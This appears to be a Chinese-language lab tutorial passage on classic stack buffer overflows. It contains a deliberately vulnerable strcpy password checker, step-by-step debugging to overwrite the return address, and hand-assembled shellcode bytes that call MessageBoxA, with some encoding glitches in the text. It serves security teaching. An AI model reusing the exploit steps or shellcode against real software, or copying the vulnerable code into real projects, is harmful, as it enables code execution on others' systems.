喂!醒醒!說你吶!還睡!呵呵
不要怪我羅嗦,要徹底的掌握,真正的掌握,完全的掌握緩沖區(qū)溢出攻擊,這些知識是必須的!講到這里,如果你思維夠敏捷的話,應該已經(jīng)可以看出我不是無中生有的花這么多篇幅來浪費版面的。
回憶上一講的那個例子,buffer后面是authenticated變量,authenticated變量后面是誰呢?就是我廢了好多口水講到的當前的正在執(zhí)行的函數(shù)對應的棧幀變量EBP與EIP(函數(shù)返回地址)的值!
verify_password函數(shù)返回之后,程序就會按照這個返回地址(EIP)所指示的內(nèi)存地址去取指令并執(zhí)行。
如果我們在多給幾個輸入的字符,讓輸入的數(shù)據(jù)躍過authenticated變量,一直淹沒到返回地址的位置,把它淹沒成我們想要執(zhí)行的指令的內(nèi)存地址,那么verify_password 函數(shù)返回后,就會乖乖滴去執(zhí)行我們想讓它執(zhí)行的東東了(例如直接返回到密碼正確的處理流程)。
?
============================================================================
第4講??初級棧溢出C
To be the apostrophe which changed “Impossible” into “I’m possible”
—— failwest
沒有星星的夜里,我用知識吸引你
上節(jié)課沒有操練滴東西,不少蠢蠢欲動的同學肯定已經(jīng)坐不住了。悟空,不要猴急,下面的兩堂課都是實踐課,用來在實踐中深入體會上節(jié)課中的知識,并且很有趣味性哦
? ? ? ? 信息安全技術是一個對技術性要求極高的領域,除了扎實的計算機理論基礎外、更重要的是優(yōu)秀的動手實踐能力。在我看來,不懂二進制就無從談起安全技術。
? ? ? ? 緩沖區(qū)溢出的概念我若干年前已經(jīng)了然于胸,不就是淹個返回地址把CPU指到緩沖區(qū)的shellcode去么。然而當我開始動手實踐的時候,才發(fā)現(xiàn)實際中的情況遠遠比原理復雜。
? ? ? ? 國內(nèi)近年來對網(wǎng)絡安全的重視程度正在逐漸增加,許多高校相繼成立了“信息安全學院”或者設立“網(wǎng)絡安全專業(yè)”。科班出身的學生往往具有扎實的理論基礎,他們通曉密碼學知識、知道PKI體系架構,但要談到如何真刀實槍的分析病毒樣本、如何拿掉PE上復雜的保護殼、如何在二進制文件中定位漏洞、如何對軟件實施有效的攻擊測試……能夠做到的人并不多。
? ? ? ? 雖然每年有大量的網(wǎng)絡安全技術人才從高校涌入人力市場,真正能夠滿足用人單位需求的卻聊聊無幾。捧著書本去做應急響應和風險評估是濫竽充數(shù)的作法,社會需要的是能夠為客戶切實解決安全風險的技術精英,而不是滿腹教條的闊論者。
? ? ? ? 我所知道的很多資深安全專家都并非科班出身,他們有的學醫(yī)、有的學文、有的根本沒有學歷和文憑,但他們卻技術精湛,充滿自信。
? ? ? ? 這個行業(yè)屬于有興趣、夠執(zhí)著的人,屬于為了夢想能夠不懈努力的意志堅定者。如果你是這樣的人,請跟著我把這個系列的所有實驗全部完成,之后你會發(fā)現(xiàn)眼中的軟件,程序,語言,計算機都與以前看到的有所不同——因為以前使用肉眼來看問題,我會教你用心和調(diào)試器以及手指來重新體驗它們。
首先簡單復習上節(jié)課的內(nèi)容:
高級語言經(jīng)過編譯后,最終函數(shù)調(diào)用通過為其開辟棧幀來實現(xiàn)
開辟棧幀的動作是編譯器加進去的,高級語言程序員不用在意
函數(shù)棧幀中首先是函數(shù)的局部變量,局部變量后面存放著函數(shù)返回地址
當前被調(diào)用的子函數(shù)返回時,會從它的棧幀底部取出返回地址,并跳轉(zhuǎn)到那個位置(母函數(shù)中)繼續(xù)執(zhí)行母函數(shù)
我們這節(jié)課的思路是,讓溢出數(shù)組的數(shù)據(jù)躍過authenticated,一直淹沒到返回地址,把這個地址從main函數(shù)中分支判斷的地方直接改到密碼驗證通過的分支!
這樣當verify_password函數(shù)返回時,就會返回到錯誤的指令區(qū)去執(zhí)行(密碼驗證通過的地方)
由于用鍵盤輸入字符的ASCII表示范圍有限,很多值如0x11,0x12等符號無法直接用鍵盤輸入,所以我們把用于實驗的代碼在第二講的基礎上稍加改動,將程序的輸入由鍵盤改為從文件中讀取字符串。
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
? ? ? ? int authenticated;
? ? ? ? char buffer[8];
? ? ? ? authenticated=strcmp(password,PASSWORD);
? ? ? ? strcpy(buffer,password);//over flowed here!? ? ? ??
? ? ? ? return authenticated;
}
main()
{
? ? ? ? int valid_flag=0;
? ? ? ? char password[1024];
? ? ? ? FILE * fp;
? ? ? ? if(!(fp=fopen("password.txt","rw+")))
? ? ? ? {
? ? ? ? ? ? ? ? exit(0);
? ? ? ? }
? ? ? ? fscanf(fp,"%s",password);
? ? ? ? valid_flag = verify_password(password);
? ? ? ? if(valid_flag)
? ? ? ? {
? ? ? ? ? ? ? ? printf("incorrect password!\n");
? ? ? ? }
? ? ? ? else
? ? ? ? {
? ? ? ? ? ? ? ? printf("Congratulation! You have passed the verification!\n");
? ? ? ? }
? ? ? ? fclose(fp);
}
? ? ? ? 程序的基本邏輯和第二講中的代碼大體相同,只是現(xiàn)在將從同目錄下的password.txt文件中讀取字符串而不是用鍵盤輸入。我們可以用十六進制的編輯器把我們想寫入的但不能直接鍵入的ASCII字符寫進這個password.txt文件。
? ? ? ??
? ? ? ? 用VC6.0將上述代碼編譯鏈接。我這里使用默認編譯選項,BUILD成debug版本。鑒于有些同學反映自己的用的是VS2003和VS2005,我好人做到底,把我build出來的PE一并在附件中雙手奉上——沒話說了吧!不許不學,不許學不會,不許說難,不許不做實驗!呵呵。
要PE的點這里:??stack_overflow_ret.rar?(備份:https://download.csdn.net/download/whatday/10683388)
在與PE文件同目錄下建立password.txt并寫入測試用的密碼之后,就可以用OllyDbg加載調(diào)試了。
停~~~啥是OllyDbg,開玩笑,在這里問啥是Ollydbg分明是不給看雪老大的面子么!如果沒有這個調(diào)試器的話,去工具版找吧,帖子附件要掛出個OD的話會給被人鄙視的。
? ? ? ? 在開始動手之前,我們先理理思路,看看要達到實驗目的我們都需要做哪些工作。
? ? ? ? 要摸清楚棧中的狀況,如函數(shù)地址距離緩沖區(qū)的偏移量,到底第幾個字節(jié)能淹到返回地址等。這雖然可以通過分析代碼得到,但我還是推薦從動態(tài)調(diào)試中獲得這些信息。
? ? ? ? 要得到程序中密碼驗證通過的指令地址,以便程序直接跳去這個分支執(zhí)行
? ? ? ? 要在password.txt文件的相應偏移處填上這個地址
? ? ? ? 這樣verify_password函數(shù)返回后就會直接跳轉(zhuǎn)到驗證通過的正確分支去執(zhí)行了。
? ? ? ? 首先用OllyDbg加載得到的可執(zhí)行PE文件如圖:
?
圖1? ? ? ??
? ? ? ? 閱讀上圖中顯示的反匯編代碼,可以知道通過驗證的程序分支的指令地址為0x00401122。
簡單解釋一下這段匯編與C語言的對應關系,其實憑著OD給出的注釋,就算你沒學過匯編語言,讀懂也應該沒啥問題。
0x00401102處的函數(shù)調(diào)用就是verify_password函數(shù),之后在0x0040110A處將EAX中的函數(shù)返回值取出 ,在0x0040110D處與0比較,然后決定跳轉(zhuǎn)到提示驗證錯誤的分支或提示驗證通過的分支。提示驗證通過的分支從0x00401122處的參數(shù)壓棧開始。
啥?用OllyDbg加載后找不到verify_password函數(shù)的位置?這個嘛,我這里只說一次啊。
OllyDbg在默認情況下將程序中斷在PE裝載器開始處,而不是main函數(shù)的開始。如果您有興趣的話可以按F8單步跟蹤一下看看在main函數(shù)被運行之前,裝載器都做了哪些準備工作。一般情況下main函數(shù)位于GetCommandLineA函數(shù)調(diào)用后不遠處,并且有明顯的特征:在調(diào)用之前有3次連續(xù)的壓棧操作,因為系統(tǒng)要給main傳入默認的argc、argv等參數(shù)。找到main函數(shù)調(diào)用后,按F7單步跟入就可以看到真正的代碼了。
我相信你,你一定行的,找到了嗎?什么?還找不到?好吧,按ctr+g后面輸入截圖中的地址0x00401102,這回看到了吧。建議你按F2下個斷點記住這個位置,別一會兒又在PE里邊迷路了。
這步完成后,您應該對這個PE的主要代碼有了一個把握了。這才牙長一點指令啊,真正的漏洞要對付的是軟件,那個難纏~~~好,不潑冷水了
如果我們把返回地址覆蓋成這個地址,那么在0x00401102 處的函數(shù)調(diào)用返回后,程序?qū)⑻D(zhuǎn)到驗證通過的分支,而不是進入0x00401107處分支判斷代碼。這個過程如下圖所示:
? ? ? ??
?
圖2
? ? ? ? 通過動態(tài)調(diào)試,發(fā)現(xiàn)棧幀中的變量分布情況基本沒變。這樣我們就可以按照如下方法構造password.txt中的數(shù)據(jù):
? ? ? ? 仍然出于字節(jié)對齊、容易辨認的目的,我們將“4321”作為一個輸入單元。
? ? ? ? buffer[8]共需要2個這樣的單元
? ? ? ? 第3個輸入單元將authenticated覆蓋
? ? ? ? 第4個輸入單元將前棧幀EBP值覆蓋
? ? ? ? 第5個輸入單元將返回地址覆蓋
? ? ? ? 為了把第5個輸入單元的ASCII碼值0x34333231修改成驗證通過分支的指令地址0x00401122,我們采取如下方式借助16進制編輯工具UltraEdit來完成(0x40,0x11等ASCII碼對應的符號很難用鍵盤輸入)。
? ? ? ??
? ? ? ? 步驟1:創(chuàng)建一個名為password.txt的文件,并用記事本打開,在其中寫入5個“4321”后保存到與實驗程序同名的目錄下:
圖3
步驟2:保存后用UltraEdit_32重新打開,如圖:
圖4
啥?問啥是UltraEdit?去工具版找吧,多的不得了,這里是看雪!
步驟3:將UltraEdit_32切換到16進制編輯模式,如圖:
圖5
步驟寫到這個份上了,您不會還跟不上吧。
? ? ? ? 步驟4:將最后四個字節(jié)修改成新的返回地址,注意這里是按照“內(nèi)存數(shù)據(jù)”排列的,由于“大頂機”的緣故,為了讓最終的“數(shù)值數(shù)據(jù)”為0x00401122,我們需要逆序輸入這四個字節(jié)。如圖:
圖6
步驟5:這時我們可以切換回文本模式,最后這四個字節(jié)對應的字符顯示為亂碼:
圖7
最終的password.txt我也給你附上。
要txt的點這里:???password.txt(備份:https://download.csdn.net/download/whatday/10683475)
將password.txt保存后,用OllyDbg加載程序并調(diào)試,可以看到最終的棧狀態(tài)如下表所示:
局部變量名? ? ? ? 內(nèi)存地址? ? ? ? 偏移3處的值? ? ? ? 偏移2處的值? ? ? ? 偏移1處的值? ? ? ? 偏移0處的值
buffer[0~3]? ? ? ? 0x0012FB14? ? ? ? 0x31 (‘1’)? ? ? ? 0x32 (‘2’)? ? ? ? 0x33 (‘3’)? ? ? ? 0x34 (‘4’)
buffer[4~7]? ? ? ? 0x0012FB18? ? ? ? 0x31 (‘1’)? ? ? ? 0x32 (‘2’)? ? ? ? 0x33 (‘3’)? ? ? ? 0x34 (‘4’)
authenticated
(被覆蓋前)? ? ? ? 0x0012FB1C? ? ? ? 0x00? ? ? ? 0x00? ? ? ? 0x00? ? ? ? 0x01
authenticated
(被覆蓋后)? ? ? ? 0x0012FB1C? ? ? ? 0x31 (‘1’)? ? ? ? 0x32 (‘2’)? ? ? ? 0x33 (‘3’)? ? ? ? 0x34 (‘4’)
前棧幀EBP
(被覆蓋前)? ? ? ? 0x0012FB20? ? ? ? 0x00? ? ? ? 0x12? ? ? ? 0xFF? ? ? ? 0x80
前棧幀EBP
(被覆蓋后)? ? ? ? 0x0012FB20? ? ? ? 0x31 (‘1’)? ? ? ? 0x32 (‘2’)? ? ? ? 0x33 (‘3’)? ? ? ? 0x34 (‘4’)
返回地址
(被覆蓋前)? ? ? ? 0x0012FB24? ? ? ? 0x00? ? ? ? 0x40? ? ? ? 0x11? ? ? ? 0x07
返回地址
(被覆蓋后)? ? ? ? 0x0012FB24? ? ? ? 0x00? ? ? ? 0x40? ? ? ? 0x11? ? ? ? 0x22
程序執(zhí)行狀態(tài)如圖:
? ? ? ? 由于棧內(nèi)EBP等被覆蓋為無效值,使得程序在退出時堆棧無法平衡,導致崩潰。雖然如此,我們已經(jīng)成功的淹沒了返回地址,并讓處理器如我們設想的那樣,在函數(shù)返回時直接跳轉(zhuǎn)到了提示驗證通過的分支。
同學們,你們成功了么?
最后再總結一下這個實驗的內(nèi)容:
通過Ollydbg調(diào)試PE文件確定密碼驗證成功的分支的指令所處的內(nèi)存地址為0x00401122
通過調(diào)試確定buffer數(shù)組距離棧幀中函數(shù)返回地址的偏移量
在password.txt相應的偏移處準確的寫入0x00401122,當password.txt被讀入后會同樣準確的把verify_password函數(shù)的返回地址從分支判斷處修改到0x00401122(密碼正確分支)
函數(shù)返回時,笨笨的返回到密碼正確的地方
程序繼續(xù)執(zhí)行,但由于棧被破壞,不再平衡,故出錯
試想一下,如果我們在buffer[]中填入一些可執(zhí)行的機器碼,然后用溢出的數(shù)據(jù)把返回地址指向buffer[],那么函數(shù)返回后這些代碼是不是就會執(zhí)行了?
答案是肯定的,下一講我將用類似的敘述方式,同樣手把手的和您一起完成這段機器代碼的編寫,并把它們準確的布置在password.txt中,這樣原本用來讀取密碼文件的程序讀了這樣一個精心構造的“黑文件”之后,就會做出一些“出格”的事情了。
?
============================================================================
第5講??初級棧溢出D——植入任意代碼
To be the apostrophe which changed “Impossible” into “I’m possible”
—— failwest
麻雀雖小,五臟俱全
如果您順利的學完了前面4講的內(nèi)容,并成功的完成了第2講和第4講中的實驗,那么今天請跟我來一起挑戰(zhàn)一下劫持有漏洞的進程,并向其植入惡意代碼的實驗,相信您成功完成這個實驗后,學習的興趣和自信心都會暴增。
開始之前,先簡要的回答一下前幾講跟貼中提出的問題
代碼編譯少頭文件問題:可能是個人習慣問題,哪怕幾行長的程序我也會丟到project里去build,而不是用cl,所以沒有注意細節(jié)。如果你們嫌麻煩,不如和我一樣用project來build,應該沒有問題的。否則的話,實驗用的程序?qū)嵲谔唵瘟?#xff0c;這么一點小問題自己決絕吧。另外,看到幾個同學說為了實驗,專門恢復了古老的VC6.0,我也感動不已啊,呵呵。
地址問題:溢出使用的地址一般都要在調(diào)試中重新確定,尤其是本節(jié)課中的哦。所以照抄我的實驗指導,很可能會出現(xiàn)地址錯誤。特別是本節(jié)課中有若干個地址都需要在調(diào)試中重新確定,請大家務必注意。能夠屏蔽地址差異的通用溢出方法將會在后續(xù)課程中逐一講解。
還有就是抱歉周末中斷了一天的講座——無私奉獻也要過周末啊,大家體諒一下了。另外就是下周項目很緊張,估計不能每天都發(fā)貼了,爭取兩到三天發(fā)一次,請大家體諒。
如果有什么問題,歡迎在跟貼中提出來,一起討論,實驗成功完成的同學記住要吱——吱——吱啊,呵呵
在基礎知識方面,本節(jié)沒有新的東西。但是這個想法實踐起來還是要費點周折的。我設計的實驗是最最簡單的情況,為了防止一開始難度高,刻意的去掉了真正的漏洞利用中的一些步驟,為的是讓初學者理解起來更加清晰,自然。
本節(jié)將涉及極少量的匯編語言編程,不過不要怕,非常簡單,我會給于詳細的解釋,不用專門去學匯編語言也能扛下來
另外本節(jié)需要最基本的使用OllyDbg進行調(diào)試,并配合一些其他工具以確認一些內(nèi)存地址。當然這些地址的確認方法有很多,我只給出一種解決方案,如果大家在實驗的時候有什么心得,不妨在跟貼中拿出來和大家一起分享,一起進步。
開始前簡單回顧上節(jié)的內(nèi)容:
password.txt 文件中的超長畸形密碼讀入內(nèi)存后,會淹沒verify_password函數(shù)的返回地址,將其改寫為密碼驗證正確分支的指令地址
函數(shù)返回時,錯誤的返回到被修改的內(nèi)存地址處取指執(zhí)行,從而打印出密碼正確字樣
試想一下,如果我們把buffer[44]中填入一段可執(zhí)行的機器指令(寫在password.txt文件中即可),再把這個返回地址更改成buffer[44]的位置,那么函數(shù)返回時不就正好跳去buffer里取指執(zhí)行了么——那里恰好布置著一段用心險惡的機器代碼!
本節(jié)實驗的內(nèi)容就用來實踐這一構想——通過緩沖去溢出,讓進程去執(zhí)行布置在緩沖區(qū)中的一段任意代碼。
圖1
? ? ? ??
? ? ? ? 如上圖所示,在本節(jié)實驗中,我們準備向password.txt文件里植入二進制的機器碼,并用這段機器碼來調(diào)用windows的一個API函數(shù)MessageBoxA,最終在桌面上彈出一個消息框并顯示“failwest”字樣。事實上,您可以用這段代碼來做任何事情,我們這里只是為了證明技術的可行性。
為了完成在棧區(qū)植入代碼并執(zhí)行,我們在上節(jié)的密碼驗證程序的基礎上稍加修改,使用如下的實驗代碼:
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
? ? ? ? int authenticated;
? ? ? ? char buffer[44];
? ? ? ? authenticated=strcmp(password,PASSWORD);
? ? ? ? strcpy(buffer,password);//over flowed here!? ? ? ??
? ? ? ? return authenticated;
}
main()
{
? ? ? ? int valid_flag=0;
? ? ? ? char password[1024];
? ? ? ? FILE * fp;
? ? ? ? LoadLibrary("user32.dll");//prepare for messagebox
? ? ? ? if(!(fp=fopen("password.txt","rw+")))
? ? ? ? {
? ? ? ? ? ? ? ? exit(0);
? ? ? ? }
? ? ? ? fscanf(fp,"%s",password);
? ? ? ? valid_flag = verify_password(password);
? ? ? ? if(valid_flag)
? ? ? ? {
? ? ? ? ? ? ? ? printf("incorrect password!\n");
? ? ? ? }
? ? ? ? else
? ? ? ? {
? ? ? ? ? ? ? ? printf("Congratulation! You have passed the verification!\n");
? ? ? ? }
? ? ? ? fclose(fp);
}
這段代碼在底4講中使用的代碼的基礎上修改了三處:
增加了頭文件windows.h,以便程序能夠順利調(diào)用LoadLibrary函數(shù)去裝載user32.dll
verify_password函數(shù)的局部變量buffer由8字節(jié)增加到44字節(jié),這樣做是為了有足夠的空間來“承載”我們植入的代碼
main函數(shù)中增加了LoadLibrary("user32.dll")用于初始化裝載user32.dll,以便在植入代碼中調(diào)用MessageBox
用VC6.0將上述代碼編譯(默認編譯選項,編譯成debug版本),得到有棧溢出的可執(zhí)行文件。在同目錄下創(chuàng)建password.txt文件用于程序調(diào)試。
我們準備在password.txt文件中植入二進制的機器碼,在password.txt攻擊成功時,密碼驗證程序應該執(zhí)行植入的代碼,并在桌面上彈出一個消息框顯示“failwest”字樣。
? ? ? ??
讓我們在動手之前回顧一下我們需要完成的幾項工作:
1:分析并調(diào)試漏洞程序,獲得淹沒返回地址的偏移——在password.txt的第幾個字節(jié)填偽造的返回地址
2:獲得buffer的起始地址,并將其寫入password.txt的相應偏移處,用來沖刷返回地址——填什么值
3:向password.txt中寫入可執(zhí)行的機器代碼,用來調(diào)用API彈出一個消息框——編寫能夠成功運行的機器代碼(二進制級別的哦)
這三個步驟也是漏洞利用過程中最基本的三個問題——淹到哪里,淹成什么以及開發(fā)shellcode
首先來看淹到什么位置和把返回地址改成什么值的問題
本節(jié)驗證程序里verify_password中的緩沖區(qū)為44個字節(jié),按照前邊實驗中對棧結構的分析,我們不難得出棧幀中的狀態(tài)如下圖所示:
圖2
如果在password.txt中寫入恰好44個字符,那么第45個隱藏的截斷符null將沖掉authenticated低字節(jié)中的1,從而突破密碼驗證的限制。我們不妨就用44個字節(jié)做為輸入來進行動態(tài)調(diào)試。
? ? ? ? 出于字節(jié)對齊、容易辨認的目的,我們把“4321”作為一個輸入單元。
? ? ? ? buffer[44]共需要11個這樣的單元
? ? ? ? 第12個輸入單元將authenticated覆蓋
? ? ? ? 第13個輸入單元將前棧幀EBP值覆蓋
? ? ? ? 第14個輸入單元將返回地址覆蓋
分析過后我們需要進行調(diào)試驗證分析的正確性。首先在password.txt中寫入11組“4321”共44個字符:
? ? ? ??
圖3
如我們所料,authenticated被沖刷后程序?qū)⑦M入驗證通過的分支:
圖4
用OllyDbg加載這個生成的PE文件進行動態(tài)調(diào)試,字符串拷貝函數(shù)過后的棧狀態(tài)如圖:
圖5
? ? ? ? 此時的棧區(qū)內(nèi)存如下表所示
局部變量名? ? ? ? 內(nèi)存地址? ? ? ? 偏移3處的值? ? ? ? 偏移2處的值? ? ? ? 偏移1處的值? ? ? ? 偏移0處的值
buffer[0~3]? ? ? ? 0x0012FAF0? ? ? ? 0x31 (‘1’)? ? ? ? 0x32 (‘2’)? ? ? ? 0x33 (‘3’)? ? ? ? 0x34 (‘4’)
……? ? ? ? (9個雙字)? ? ? ? 0x31 (‘1’)? ? ? ? 0x32 (‘2’)? ? ? ? 0x33 (‘3’)? ? ? ? 0x34 (‘4’)
buffer[40~43]? ? ? ? 0x0012FB18? ? ? ? 0x31 (‘1’)? ? ? ? 0x32 (‘2’)? ? ? ? 0x33 (‘3’)? ? ? ? 0x34 (‘4’)
authenticated
(被覆蓋前)? ? ? ? 0x0012FB1C? ? ? ? 0x00? ? ? ? 0x00? ? ? ? 0x00? ? ? ? 0x31 (‘1’)
authenticated
(被覆蓋后)? ? ? ? 0x0012FB1C? ? ? ? 0x00? ? ? ? 0x00? ? ? ? 0x00? ? ? ? 0x00 (NULL)
前棧幀EBP? ? ? ? 0x0012FB20? ? ? ? 0x00? ? ? ? 0x12? ? ? ? 0xFF? ? ? ? 0x80
返回地址? ? ? ? 0x0012FB24? ? ? ? 0x00? ? ? ? 0x40? ? ? ? 0x11? ? ? ? 0x18
? ? ? ? 動態(tài)調(diào)試的結果證明了前邊分析的正確性。從這次調(diào)試中我們可以得到以下信息:
buffer數(shù)組的起始地址為0x0012FAF0——注意這個值只是我調(diào)試的結果,您需要在自己機器上重新確定!
password.txt文件中第53到第56個字符的ASCII碼值將寫入棧幀中的返回地址,成為函數(shù)返回后執(zhí)行的指令地址
也就是說將buffer的起始地址0x0012FAF0寫入password.txt文件中的第53到第56個字節(jié),在verify_password函數(shù)返回時會跳到我們輸入的字串開始出取指執(zhí)行。
我們下面還需要給password.txt中植入機器代碼。
讓程序彈出一個消息框只需要調(diào)用windows的API函數(shù)MessageBox。MSDN對這個函數(shù)的解釋如下:
int MessageBox(
??HWND hWnd,? ?? ?? ? // handle to owner window
??LPCTSTR lpText,? ???// text in message box
??LPCTSTR lpCaption,??// message box title
??UINT uType? ?? ?? ? // message box style
);
hWnd?
[in] 消息框所屬窗口的句柄,如果為NULL的話,消息框則不屬于任何窗口?
lpText?
[in] 字符串指針,所指字符串會在消息框中顯示?
lpCaption?
[in] 字符串指針,所指字符串將成為消息框的標題?
uType?
[in] 消息框的風格(單按鈕,多按鈕等),NULL代表默認風格?
雖然只是調(diào)一個API,在高級語言中也就一行代碼,但是要我們直接用二進制指令的形式寫出來也并不是一件容易的事。這個貌似簡單的問題解決起來還要用一點小心思。不要怕,我會給我的解決辦法,不一定是最好的,但是能解決問題。
? ? ? ? 我們將寫出調(diào)用這個API的匯編代碼,然后翻譯成機器代碼,用16進制編輯工具填入password.txt文件。
注意:熟悉MFC的程序員一定知道,其實系統(tǒng)中并不存在真正的MessagBox函數(shù),對MessageBox這類API的調(diào)用最終都將由系統(tǒng)按照參數(shù)中字符串的類型選擇“A”類函數(shù)(ASCII)或者“W”類函數(shù)(UNICODE)調(diào)用。因此我們在匯編語言中調(diào)用的函數(shù)應該是MessageBoxA。多說一句,其實MessageBoxA的實現(xiàn)只是在設置了幾個不常用參數(shù)后直接調(diào)用MessageBoxExA。探究API的細節(jié)超出了本書所討論的范圍,有興趣的讀者可以參閱其他書籍。
用匯編語言調(diào)用MessageboxA需要三個步驟:
1.裝載動態(tài)鏈接庫user32.dll。MessageBoxA是動態(tài)鏈接庫user32.dll的導出函數(shù)。雖然大多數(shù)有圖形化操作界面的程序都已經(jīng)裝載了這個庫,但是我們用來實驗的consol版并沒有默認加載它
2.在匯編語言中調(diào)用這個函數(shù)需要獲得這個函數(shù)的入口地址
3 在調(diào)用前需要向棧中按從右向左的順序壓入MessageBoxA的四個參數(shù)。當然,我肯定壓如failwest啦,哈哈
對于第一個問題,為了讓植入的機器代碼更加簡潔明了,我們在實驗準備中構造漏洞程序的時候已經(jīng)人工加載了user32.dll這個庫,所以第一步操作不用在匯編語言中考慮。
對于第二個問題,我們準備直接調(diào)用這個API的入口地址,這個地址需要在您的實驗機器上重新確定,因為user32.dll中導出函數(shù)的地址和操作系統(tǒng)版本和補丁號有關,您的地址和我的地址不一定一樣。
MessageBoxA的入口參數(shù)可以通過user32.dll在系統(tǒng)中加載的基址和MessageBoxA在庫中的偏移相加得到。為啥?看下看雪老大《軟件加密與解密》中關于虛擬地址這些基礎知識的論述吧,相信版內(nèi)也有很多相關資料。
這里簡單解釋下,MessageBoxA是user32.dll的一個導出函數(shù),要確定它首先要知道user32.dll在虛擬內(nèi)存中的裝載地址(與操作系統(tǒng)版本有關),然后從這個基地址算起,找到MessageBoxA這個導出函數(shù)的偏移,兩者相加,就是這個API的虛擬內(nèi)存地址。
具體的我們可以使用VC6.0自帶的小工具“Dependency Walker”獲得這些信息。您可以在VC6.0安裝目錄下的Tools下找到它:
圖6
? ? ? ? 運行Depends后,隨便拖拽一個有圖形界面的PE文件進去,就可以看到它所使用的庫文件了。在左欄中找到并選中user32.dll后,右欄中會列出這個庫文件的所有導出函數(shù)及偏移地址;下欄中則列出了PE文件用到的所有的庫的基地址。
圖7
? ? ? ? 如上圖示,user32.dll的基地址為0x77D40000,MessageBoxA的偏移地址為0x000404EA。基地址加上偏移地址就得到了MessageBoxA在內(nèi)存中的入口地址:0x77D804EA
? ? ? ? 有了這個入口地址,就可以編寫進行函數(shù)調(diào)用的匯編代碼了。這里我們先把字符串“failwest”壓入棧區(qū),消息框的文本和標題都顯示為“failwest”,只要重復壓入指向這個字符串的指針即可;第一個和第四個參數(shù)這里都將設置為NULL。寫出的匯編代碼和指令所對應的機器代碼如下:
? ?? ?? ???
機器代碼(16進制)? ? ? ? 匯編指令? ? ? ? 注釋
33 DB? ? ? ? XOR EBX,EBX? ? ? ? 壓入NULL結尾的”failwest”字符串。之所以用EBX清零后入棧做為字符串的截斷符,是為了避免“PUSH 0”中的NULL,否則植入的機器碼會被strcpy函數(shù)截斷。
53? ? ? ?? ?? ?? ?? ?? ???PUSH EBX? ? ? ??
68 77 65 73 74? ? ? ? PUSH 74736577? ? ? ??
68 66 61 69 6C? ? ? ? PUSH 6C696166? ? ? ??
8B C4? ? ? ?? ?? ?? ?? ?? ?MOV EAX,ESP? ? ? ? EAX里是字符串指針
53? ? ? ?? ?? ?? ?? ?? ???PUSH EBX? ? ? ? 四個參數(shù)按照從右向左的順序入棧,分別為:
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? (0,failwest,failwest,0)
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???消息框為默認風格,文本區(qū)和標題都是“failwest”
50? ? ? ?? ?? ?? ?? ?? ?? ?PUSH EAX? ? ? ??
50? ? ? ?? ?? ?? ?? ?? ?? ?PUSH EAX? ? ? ??
53? ? ? ?? ?? ?? ?? ?? ?? ?PUSH EBX? ? ? ??
B8 EA 04 D8 77? ? ? ? MOV EAX, 0x77D804EA? ? ? ? 調(diào)用MessageBoxA。注意不同的機器這里的? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???函數(shù)入口地址可能不同,請按實際值填入!
FF D0? ? ? ?? ?? ?? ?? ?? ? CALL EAX? ? ? ??
從匯編指令到機器碼的轉(zhuǎn)換可以有很多種方法。調(diào)試匯編指令,從匯編指令中提取出二進制機器代碼的方法將在后面逐一介紹。由于這里僅僅用了11條指令和對應的26個字節(jié)的機器代碼,如果您一定要現(xiàn)在就弄明白指令到機器碼是如何對應的話,直接查閱Intel的指令集手工翻譯也不是不可以。
? ? ? ? 將上述匯編指令對應的機器代碼按照上一節(jié)介紹的方法以16進制形式逐字抄入password.txt,第53到56字節(jié)填入buffer的起址0x0012FAF0,其余的字節(jié)用0x90(nop指令)填充,如圖:
圖8
換回文本模式可以看到這些機器代碼所對應的字符:
圖9
這樣構造了password.txt之后在運行驗證程序,程序執(zhí)行的流程將按下圖所示:
圖10
程序運行情況如圖:
圖11
成功的彈出了我們植入的代碼!
您成功了嗎?如果成功的喚出了藏在password.txt中的消息框,請在跟貼中吱一下,和大家一起分享您喜悅的心情,這是我們學習技術的源動力。
最后總結一下本節(jié)實驗的幾個要點:
確認函數(shù)返回地址與buffer數(shù)組的距離——淹哪里
確認buffer數(shù)組的內(nèi)存地址——把返回地址淹成什么(需要調(diào)試確定,與機器有關)
編制調(diào)用消息框的二進制代碼,關鍵是確定MessageBoxA的虛擬內(nèi)存地址(與機器有關)
我實驗用的PE和password.txt在這里:
想要PE的請點這里:?stack_overflow_exec.rar(備份:https://download.csdn.net/download/whatday/10683396)
想要Passwrd.txt的請點這里:?password.txt(備份:https://download.csdn.net/download/whatday/10683468)
這節(jié)課的題目是麻雀雖小,五臟俱全。這是因為這節(jié)課第一次把漏洞利用的全國程展現(xiàn)給了大家:
密碼驗證程序讀入一個畸形的密碼文件,竟然蹦出了一個消息框!
Word在解析doc文檔時,不知有多少個內(nèi)存復制和操作的函數(shù)調(diào)用,如果哪一個有溢出漏洞,那么office讀入一個畸形的word文檔時,會不會彈出個消息框,開個后門,起個木馬啥的?
IIS和APACHE在解析WEB請求的時候,也不知道有多少內(nèi)存復制操作,如果存在溢出漏洞,那么攻擊者發(fā)送一個畸形的WEB請求,會不會導致server做出點奇怪的事情?
RPC調(diào)用中如果出現(xiàn)……
上面說的并不是危言聳聽,全都是真實世界中曾經(jīng)出現(xiàn)過的漏洞攻擊案例。本節(jié)的例子是現(xiàn)實中的漏洞利用案例的精簡版,用來闡述基本概念并驗證技術可行性。隨著后面的深入討論,您會發(fā)現(xiàn)漏洞研究是多么有趣的一門技術。
在本節(jié)最后,我給出一個課后作業(yè)和幾個思考題——因為下一講可能會稍微隔幾天,大家不妨自己動手練習練習,記住光聽課是沒有的,動手非常重要!
課后作業(yè):如果您細心的話,在點擊上面的ok按鈕之后,程序會崩潰:
圖12
? ? ? ? 這是因為MessageBoxA調(diào)用的代碼執(zhí)行完成之后,我們沒有寫安全退出的代碼的緣故。您能把我給出的二進制代碼稍微修改下,使之能夠在點擊之后干凈利落的退出進程么?
如果你能做到這一點,不妨把你的解決方案也拿出來和大家一起分享,一起進步。
思考題:
